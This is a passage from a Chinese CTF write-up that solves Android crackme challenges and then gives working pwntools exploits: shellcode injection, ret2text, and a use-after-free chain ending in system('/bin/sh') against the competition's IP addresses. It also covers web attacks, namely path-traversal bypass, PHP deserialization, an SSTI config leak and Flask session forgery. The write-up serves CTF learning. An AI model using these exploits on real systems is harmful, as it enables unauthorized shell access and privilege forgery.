c_string(so, TARGET_HEX_OFF).decode("ascii" ) ciphertext = bytes .fromhex(target_hex) plaintext = chacha20_xor(ciphertext, key, nonce, COUNTER) check = chacha20_xor(plaintext, key, nonce, COUNTER).hex () if check != target_hex: raise RuntimeError("verification failed" ) return { "key" : key.hex (), "nonce" : nonce.hex (), "counter" : COUNTER, "target_hex" : target_hex, "flag" : plaintext.decode("utf-8" ), } def main (): parser = argparse.ArgumentParser(description="Solve CrackMe_1_6 ChaCha20 check." ) parser.add_argument( "apk" , nargs="?" , default=str (Path(__file__).with_name("CrackMe_1_6.apk" )), help ="path to CrackMe_1_6.apk" , ) args = parser.parse_args() result = solve(Path(args.apk)) print ("[+] key =" , result["key" ]) print ("[+] nonce =" , result["nonce" ]) print ("[+] counter =" , result["counter" ]) print ("[+] target hex =" , result["target_hex" ]) print ("[+] flag =" , result["flag" ]) if __name__ == "__main__" : main()
Flag flag{5c9c885c362542e0b262f58b62db8cec}
DES加密验证(SdTVdp)
跟踪校验链 附件 CrackMe_2_6.zip 中包含 CrackMe_2_6.apk。APK 的 assets 目录下还有 classes3.dex、my2.dex、myde.bin,lib/x86 中存在 libcrackme2.so。
MainActivity 动态加载 classes3.dex,按钮回调最终反射调用 MainActivity.verifyFlag(String),所以真正的校验在 libcrackme2.so 中。
DES 是干扰项 verifyFlag 先将输入补齐到 8 字节边界,然后使用密钥 12345678 调用 DES-ECB。但 DES 调用结束后,bytesToHex 收到的是补齐后的原始输入缓冲区,而不是 DES 输出缓冲区。因此 DES 结果根本没有参与最终比较。
全局 EncryptedFlag 的目标值为 666c61677b686e6374667177657235343332317d04040404。转换为字节后去掉 PKCS#7 填充,即可得到 Flag。
解题脚本 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 from __future__ import annotationsimport argparseimport ioimport reimport sysimport zipfilefrom pathlib import PathHEX_RE = re.compile (rb"(?:[0-9a-f]{2}){8,}" ) def read_so_from_apk (apk_bytes: bytes ) -> bytes | None : with zipfile.ZipFile(io.BytesIO(apk_bytes)) as apk: for name in ( "lib/x86/libcrackme2.so" , "lib/armeabi-v7a/libcrackme2.so" , "lib/arm64-v8a/libcrackme2.so" , ): try : return apk.read(name) except KeyError: pass return None def load_so_bytes (path: Path ) -> tuple [bytes , str ]: if path.is_dir(): candidates = [ path / "apktool_out" / "lib" / "x86" / "libcrackme2.so" , path / "lib" / "x86" / "libcrackme2.so" , path / "extracted_zip" / "CrackMe_2_6.apk" , path / "CrackMe_2_6.apk" , path / "CrackMe_2_6.zip" , ] for candidate in candidates: if candidate.exists(): return load_so_bytes(candidate) raise FileNotFoundError(f"no APK/SO found under {path} " ) suffix = path.suffix.lower() data = path.read_bytes() if suffix == ".so" : return data, str (path) if suffix == ".apk" : so = read_so_from_apk(data) if so is None : raise FileNotFoundError("libcrackme2.so not found in APK" ) return so, f"{path} !lib/x86/libcrackme2.so" if suffix == ".zip" : with zipfile.ZipFile(path) as outer: for name in outer.namelist(): if name.lower().endswith(".apk" ): so = read_so_from_apk(outer.read(name)) if so is not None : return so, f"{path} !{name} !lib/x86/libcrackme2.so" raise FileNotFoundError("APK/libcrackme2.so not found in zip" ) raise ValueError(f"unsupported input: {path} " ) def strip_pkcs7 (buf: bytes , block_size: int = 8 ) -> bytes : if not buf: raise ValueError("empty buffer" ) pad = buf[-1 ] if not 1 <= pad <= block_size: raise ValueError(f"bad padding length: {pad} " ) if buf[-pad:] != bytes ([pad]) * pad: raise ValueError("bad PKCS#7 padding bytes" ) return buf[:-pad] def extract_flag (so: bytes ) -> tuple [bytes , bytes , bytes , int ]: for match in HEX_RE.finditer(so): hex_text = match .group() try : padded = bytes .fromhex(hex_text.decode("ascii" )) except ValueError: continue try : plain = strip_pkcs7(padded, 8 ) except ValueError: continue if plain.startswith(b"flag{" ) and plain.endswith(b"}" ): return hex_text, padded, plain, match .start() raise RuntimeError("no padded flag hex string found" ) def emulate_native_verify (candidate: str , expected_hex: bytes ) -> bool : raw = candidate.encode("utf-8" ) pad = 8 - (len (raw) % 8 ) padded = raw + bytes ([pad]) * pad return padded.hex ().encode("ascii" ) == expected_hex def main (argv: list [str ] ) -> int : parser = argparse.ArgumentParser( description="Solve CrackMe_2_6 by extracting the native expected hex string." ) parser.add_argument( "target" , nargs="?" , default="." , help ="challenge directory, CrackMe_2_6.zip, APK, or libcrackme2.so" , ) args = parser.parse_args(argv) so, origin = load_so_bytes(Path(args.target)) expected_hex, padded, flag, offset = extract_flag(so) print (f"[+] source: {origin} " ) print (f"[+] expected_hex_offset: 0x{offset:x} " ) print (f"[+] expected_hex: {expected_hex.decode('ascii' )} " ) print (f"[+] padded_plain: {padded!r} " ) print (f"[+] flag: {flag.decode('utf-8' )} " ) print (f"[+] native_verify(flag): {emulate_native_verify(flag.decode('utf-8' ), expected_hex)} " ) return 0 if __name__ == "__main__" : raise SystemExit(main(sys.argv[1 :]))
Flag flag{hnctfqwer54321}
PWN MessageBoard(LFischl)
确认泄漏 先连接服务确认 banner,再发送一段测试数据,可以看到程序泄漏了 Buffer at: 0x... 形式的栈地址。
构造 Shellcode 覆盖返回地址的偏移为 136,即 0x80 字节栈缓冲区加 8 字节保存的 rbp。将 shellcode 补齐到 136 字节,然后覆盖返回地址为泄漏出的缓冲区地址。
1 2 3 4 5 6 7 8 9 10 11 12 from pwn import *context.clear(arch='amd64' , os='linux' ) io = remote('120.27.146.76' , 19743 ) io.recvuntil(b'Buffer at: ' ) buf = int (io.recvline().strip(), 16 ) io.recvuntil(b'Message: ' ) sc = asm(shellcraft.sh()) payload = sc.ljust(136 , b'A' ) + p64(buf) io.sendline(payload) io.recvuntil(b'Thank you for your message!' ) io.sendline(b'cat flag; cat /flag' ) io.interactive()
Flag flag{5e76f1da370f72f3dbac204eade3f3b7}
NoteService(LFischl)
确定覆盖偏移 服务在接收一行 note 后返回 Note saved. Thank you!。通过将不同长度的填充数据和 .text 地址组合,观察程序是否重新打印 banner,可以确定偏移为 72。
1 2 3 4 5 6 7 8 from pwn import *for off in range (24 , 129 , 8 ): io = remote("120.27.146.76" , 20033 ) io.recvuntil(b"Leave your note:" ) io.send(b"A" *off + p64(0x401270 ) + b"\n" ) out = io.recvrepeat(0.8 ) print (off, repr (out)) io.close()
定位后门 题面说明程序内置了后门,因此直接在 0x401000–0x4012ff 的 .text 范围内扫描。每次覆盖返回地址后发送 echo PWNMARK,根据回显确定后门入口为 0x40119e。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 from pwn import *HOST, PORT = "120.27.146.76" , 20033 OFFSET = 72 for addr in range (0x401000 , 0x401300 ): io = remote(HOST, PORT) io.recvuntil(b"Leave your note:" ) io.send(b"A" *OFFSET + p64(addr) + b"\n" ) try : io.recv(timeout=0.3 ) except : pass try : io.sendline(b"echo PWNMARK" ) out = io.recvrepeat(0.5 ) if b"PWNMARK" in out: print (hex (addr), repr (out)) break except : pass io.close()
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 from pwn import *import timeHOST, PORT = "120.27.146.76" , 20033 OFFSET = 72 BACKDOOR = 0x40119e io = remote(HOST, PORT) io.recvuntil(b"Leave your note:" ) io.send(b"A" * OFFSET + p64(BACKDOOR) + b"\n" ) time.sleep(0.5 ) io.sendline(b"cat /flag" ) print (io.recvrepeat(1 ).decode(errors="ignore" ))io.close()
Flag flag{91b9bad6c0adabc0c98bd5737ea93355}
Authenticate(SdTVdp) 附件 vuln.zip 解压后得到 vuln 二进制文件。
栈溢出与后门 在 login 函数中,用户名使用 read 读入 rbp-0x40,密码使用 gets 读入 rbp-0x80。gets 没有长度检查,存在典型栈缓冲区溢出。
程序自带 backdoor 函数,核心是调用 system('/bin/sh')。由于程序未开启 PIE,后门地址固定,可以直接采用 ret2text。
password 缓冲区为 0x80 字节,加上 8 字节保存的 rbp,覆盖返回地址的偏移是 0x88,即 136 字节。为保证调用 system 时栈更稳定,返回地址选择 0x4011fe,跳过后门函数序言。
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 import socketimport structimport timeHOST = "47.99.147.34" PORT = 27711 def p64 (value ): return struct.pack("<Q" , value) def recv_some (sock, timeout=0.5 ): sock.settimeout(timeout) data = b"" while True : try : chunk = sock.recv(4096 ) if not chunk: break data += chunk except TimeoutError: break return data with socket.create_connection((HOST, PORT), timeout=5 ) as s: print (recv_some(s).decode(errors="ignore" ), end="" ) s.sendall(b"guest\n" ) time.sleep(0.1 ) print (recv_some(s).decode(errors="ignore" ), end="" ) payload = b"A" * 136 + p64(0x4011FE ) s.sendall(payload + b"\n" ) time.sleep(0.2 ) s.sendall(b"cat flag\n" ) time.sleep(0.5 ) print (recv_some(s, timeout=1 ).decode(errors="ignore" ), end="" )
Flag flag{bda7ca24b316a799200260fa3ca545eb}
UserManager(SdTVdp)
Use After Free 程序开启 Full RELRO、Canary、NX 和 PIE,不适合直接覆写 GOT。在 IDA 中可以看到 Register、Login、Delete、Edit 四个核心功能,每个 user 结构体由 data 指针、函数指针 p 和 size 组成。
Delete 先执行 free(users[id]->data),再执行 free(users[id]),但没有将 users[id] 置空。后续 Login 和 Edit 仍可以解引用这块已释放内存,形成 Use After Free。
利用思路 先申请一个 0x68 大小的 padding 用户,再申请 id=0、size=0x18 的目标用户。删除 id=0 后,再注册 id=1、size=0x18,新密码块会复用旧 user 结构体所在的 fastbin chunk,而 users[0] 仍然悬空指向这块内存。
此时 Edit(1) 可以改写 users[0] 所使用的伪结构体。先利用 strcmp 的成功/失败结果作为字节 oracle,逐字节泄漏 show 的真实地址并计算 PIE 基址;再将 data 指向 puts@got,泄漏 libc 基址和 system 地址。
最后将伪结构体改为 data = '/bin/sh'、p = system,再次登录 id=0 即可执行 system('/bin/sh')。
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 import timeimport refrom pwn import *context.binary = elf = ELF("./login" , checksec=False ) libc = ELF("./libc-2.23.so" , checksec=False ) context.arch = "amd64" HOST = "120.27.146.76" PORT = 26473 LD = "./ld-2.23.so" FAKE_STRUCT_LOW = 0xC0 def start (): if args.REMOTE: for attempt in range (1 , 16 ): try : io = remote(HOST, PORT, timeout=10 ) banner = io.recvuntil(b"Your choice:" , timeout=10 ) io.unrecv(banner) log.info("connected on attempt %d" , attempt) return io except EOFError: try : io.close() except Exception: pass log.warning("remote closed before banner, retrying (%d/15)" , attempt) time.sleep(2 ) raise EOFError("remote service never reached menu" ) return process([LD, "--library-path" , "." , elf.path]) def byte_order (): common = [0x55 , 0x7F , 0x00 , 0x20 , 0x40 , 0x60 , 0x80 , 0xA0 , 0xC0 , 0xE0 ] seen = set () ordered = [] for value in common + list (range (0x100 )): if value not in seen: seen.add(value) ordered.append(value) return ordered BYTE_ORDER = byte_order() RESULT_RE = re.compile (br"Login success!|Wrong password!" ) def menu (io, choice ): io.sendlineafter(b"Your choice:" , str (choice).encode()) def register (io, idx, size, data ): menu(io, 2 ) io.sendlineafter(b"Input the user id:" , str (idx).encode()) io.sendlineafter(b"Input the password length:" , str (size).encode()) io.sendafter(b"Input password:" , data) io.recvuntil(b"Your choice:" ) def delete (io, idx ): menu(io, 3 ) io.sendlineafter(b"Input the user id:" , str (idx).encode()) io.recvuntil(b"Your choice:" ) def edit (io, idx, data ): menu(io, 4 ) io.sendlineafter(b"Input the user id:" , str (idx).encode()) io.sendafter(b"Input new pass:" , data) io.recvuntil(b"Your choice:" ) def login_try (io, data ): menu(io, 1 ) io.sendlineafter(b"Input the user id:" , b"0" ) io.sendlineafter(b"Input the passwords length:" , str (len (data)).encode()) io.sendafter(b"Input the password:" , data) out = io.recvuntil(b"Your choice:" ) return b"Login success!" in out def build_login_attempt (data ): return b"1\n0\n" + str (len (data)).encode() + b"\n" + data def recv_login_batch (io, count ): out = b"" while out.count(b"Your choice:" ) < count: chunk = io.recv(timeout=20 ) if not chunk: raise EOFError("batch receive ended early" ) out += chunk return out def find_success_index (out, count ): matches = RESULT_RE.findall(out) if len (matches) < count: raise EOFError("did not get enough login results" ) for idx, marker in enumerate (matches[:count]): if marker == b"Login success!" : return idx raise RuntimeError("no candidate matched" ) def setup_overlap (io ): register(io, 5 , 0x68 , b"P" * 0x68 ) register(io, 0 , 0x18 , b"V" * 0x18 ) delete(io, 0 ) register(io, 1 , 0x18 , b"\xCD" ) def set_fake_ptr_low (io, offset ): edit(io, 1 , p8((FAKE_STRUCT_LOW + offset) & 0xFF )) def set_fake_ptr (io, addr ): edit(io, 1 , p64(addr)) def set_fake_struct (io, data_ptr, func_ptr, tail=p64(0 ) ): edit(io, 1 , p64(data_ptr) + p64(func_ptr) + tail) def leak_six_bytes (io, setter, name ): leaked = [0 ] * 6 for pos in range (5 , -1 , -1 ): setter(pos) suffix = bytes (leaked[pos + 1 : 6 ]) attempts = [bytes ([guess]) + suffix for guess in BYTE_ORDER] io.send(b"" .join(build_login_attempt(data) for data in attempts)) out = recv_login_batch(io, len (attempts)) hit = find_success_index(out, len (attempts)) leaked[pos] = BYTE_ORDER[hit] log.info("%s[%d] = %#x -> %s" , name, pos, leaked[pos], bytes (leaked).hex ()) return u64(bytes (leaked) + b"\x00\x00" ) def leak_show (io ): return leak_six_bytes(io, lambda pos: set_fake_ptr_low(io, 8 + pos), "show" ) def leak_ptr (io, addr, name ): return leak_six_bytes(io, lambda pos: set_fake_ptr(io, addr + pos), name) def spawn_shell (io ): bin_sh = next (libc.search(b"/bin/sh\x00" )) set_fake_struct(io, bin_sh, libc.sym.system) menu(io, 1 ) io.sendlineafter(b"Input the user id:" , b"0" ) io.sendlineafter(b"Input the passwords length:" , b"7" ) io.sendafter(b"Input the password:" , b"/bin/sh" ) io.recvuntil(b"Login success!" ) def grab_flag (io ): cmd = ( b"[ -f /flag ] && echo '[flag] /flag' && cat /flag; " b"[ -f ./flag ] && echo '[flag] ./flag' && cat ./flag; " b"exit\n" ) io.send(cmd) data = io.recvuntil(b"Your choice:" , timeout=5 ) return data def main (): for attempt in range (1 , 6 ): io = None try : log.info("exploit attempt %d" , attempt) io = start() setup_overlap(io) show_addr = leak_show(io) elf.address = show_addr - elf.sym.show log.success("PIE base = %#x" , elf.address) puts_addr = leak_ptr(io, elf.got.puts, "puts" ) libc.address = puts_addr - libc.sym.puts log.success("libc base = %#x" , libc.address) log.success("system = %#x" , libc.sym.system) spawn_shell(io) out = grab_flag(io) print (out.decode("latin-1" , errors="replace" )) io.close() return except EOFError: log.warning("attempt %d died on EOF, retrying" , attempt) if io is not None : try : io.close() except Exception: pass time.sleep(2 ) raise EOFError("exploit failed after retries" ) if __name__ == "__main__" : main()
Flag flag{2907d9f987682795f225bb190f2521d0}
WEB Enterprise_OA(LFischl)
读取源码 页面通过 module 参数加载文件,先使用 PHP filter 伪协议读取源码,对返回的 Base64 数据解码。
关键代码仅使用 str_replace('../', '', $module) 删除一次 ../,然后直接 include($module):
1 2 3 4 <?php $module = isset ($_GET ['module' ]) ? $_GET ['module' ] : 'public_notices.php' ;$module = str_replace ('../' , '' , $module );include ($module );
双写绕过 可以利用双写让替换后重新形成 ../,完成目录穿越并读取 Flag 文件。
Flag flag{7d8caf43d039e33b2d0ad3572d8f82da}
PHP_Payment(LFischl)
定位反序列化入口 商城初始余额无法购买价值 99999 的 Flag,附件 src.zip 中包含优惠券处理接口 /api/apply_coupon.php。
接口对 coupon 做 Base64 解码后直接调用 unserialize,存在 PHP 反序列化漏洞:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php session_start ();include '../config.php' ;include '../models.php' ;header ('Content-Type: application/json' );if (!isset ($_SESSION ['user_id' ])) { die (json_encode (["error" => "Authentication required" ])); } $couponData = $_POST ['coupon' ] ?? '' ;if ($couponData === '' ) { die (json_encode (["error" => "Empty coupon code" ])); } $decoded = base64_decode ($couponData );if ($decoded === false ) { die (json_encode (["error" => "Invalid coupon format. Must be base64." ])); } try { $promo = @unserialize ($decoded ); if ($promo === false ) { die (json_encode (["error" => "Failed to apply coupon." ])); } } catch (Exception $e ) { die (json_encode (["error" => "Coupon parsing error." ])); } echo json_encode (["success" => true , "message" => "Coupon processed." ]);?>
buy.php 要求余额不低于 99999,购买成功后返回 Flag:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 <?php session_start ();include 'config.php' ;header ('Content-Type: application/json' );if (!isset ($_SESSION ['user_id' ])) { die (json_encode (["error" => "Authentication required" ])); } $item = $_POST ['item' ] ?? '' ;if ($item === '' ) { die (json_encode (["error" => "Missing item parameter" ])); } $items = [ 'basic_vip' => 10 , 'premium_vip' => 50 , 'flag' => 99999 ]; if (!array_key_exists ($item , $items )) { die (json_encode (["error" => "Invalid item." ])); } $price = $items [$item ];if ($_SESSION ['balance' ] < $price ) { die (json_encode (["error" => "Insufficient funds! You only have " . intval ($_SESSION ['balance' ]) . " 金币." ])); } $_SESSION ['balance' ] -= $price ;if ($item === 'flag' ) { $flag = "flag{da91f6ee9d5cceef4705fd4f8af9e3f3}" ; if (file_exists ('/var/www/flag.php' )) { include '/var/www/flag.php' ; if (isset ($FLAG )) $flag = $FLAG ; } echo json_encode (["success" => true , "message" => "购买 successful! Your Flag is [ " . $flag . " ]" , "balance" => $_SESSION ['balance' ]]); } else { echo json_encode (["success" => true , "message" => "购买 successful! Enjoy your " . htmlspecialchars ($item ) . "." , "balance" => $_SESSION ['balance' ]]); } ?>
构造优惠券 构造能在对象销毁时增加余额的序列化对象,再进行 Base64 编码后提交给优惠券接口。
优惠券生效后,向 /buy.php 发送 item=flag 即可完成购买。
Flag flag{da91f6ee9d5cceef4705fd4f8af9e3f3}
Snake_Game(LFischl)
伪造分数 页面是一个贪吃蛇小游戏,分数达到 300 时服务端返回 Flag。分数直接通过 POST 参数上传,因此无需实际完成游戏。
1 2 3 4 POST / HTTP/1.1 Content-Type : application/x-www-form-urlencodedscore = 300
Flag flag{d64789df977417240841c25834f4d77f}
TaxSystem_SSTI(LFischl)
源码分析 使用弱口令 admin / 123456 登录后分析源码,可以看到 Flag 被写入 SQLite 数据库,而获取 Flag 的管理员接口依赖 tax_inspector 角色。
SSTI 泄漏配置 /preview/<id> 使用 render_template_string 渲染 custom_footer。虽然黑名单过滤了 __、request、session、system 等关键字,但 /api/import 允许修改 state 和 custom_footer,可以将自己的 profile 改为:
1 2 3 4 { "state" : "AUDIT_PENDING" , "custom_footer" : "{{config}}" }
访问预览页后,{{config}} 泄漏 Flask 配置,其中包含 SECRET_KEY = secret_tax_key_2026_xoxo。
伪造 Flask Session 1 2 3 4 5 6 7 8 from flask import Flaskfrom flask.sessions import SecureCookieSessionInterfacesecret = 'secret_tax_key_2026_xoxo' app = Flask(__name__) app.secret_key = secret serializer = SecureCookieSessionInterface().get_signing_serializer(app) cookie = serializer.dumps({'user_id' : 1 , 'role' : 'tax_inspector' }) print (cookie)
替换 Cookie 后访问 /admin/vault,即可以 tax_inspector 身份读取 Flag。
Flag flag{7ca74b4a36594a4b3f1d84ba41425cbd}